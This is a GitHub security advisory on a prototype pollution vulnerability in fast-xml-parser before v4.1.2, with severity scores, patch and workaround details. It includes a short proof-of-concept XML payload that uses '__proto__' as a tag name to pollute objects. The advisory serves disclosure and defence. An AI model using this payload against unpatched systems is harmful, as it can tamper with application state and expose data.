Lucene search

K
githubGitHub Advisory DatabaseGHSA-X3CC-X39P-42QX
HistoryJun 13, 2023 - 12:44 p.m.

fast-xml-parser vulnerable to Prototype Pollution through tag or attribute name

2023-06-1312:44:34
CWE-1321
GitHub Advisory Database
github.com
12
prototype pollution
xmlparser
xmlbuilder
xmlvalidator
patch v4.1.2
workaround

CVSS3

6.5

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

EPSS

0.001

Percentile

27.5%

Impact

As a part of this vulnerability, user was able to se code using __proto__ as a tag or attribute name.

const { XMLParser, XMLBuilder, XMLValidator} = require("fast-xml-parser");

let XMLdata = "<__proto__><polluted>hacked</polluted></__proto__>"

const parser = new XMLParser();
let jObj = parser.parse(XMLdata);

console.log(jObj.polluted) // should return hacked

Patches

The problem has been patched in v4.1.2

Workarounds

User can check for “proto” in the XML string before parsing it to the parser.

References

https://gist.github.com/Sudistark/a5a45bd0804d522a1392cb5023aa7ef7

Affected configurations

Vulners
Node
fast-xml-parser_projectfast-xml-parserRange<4.1.2node.js
VendorProductVersionCPE
fast-xml-parser_projectfast-xml-parser*cpe:2.3:a:fast-xml-parser_project:fast-xml-parser:*:*:*:*:*:node.js:*:*

CVSS3

6.5

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

EPSS

0.001

Percentile

27.5%

Related for GHSA-X3CC-X39P-42QX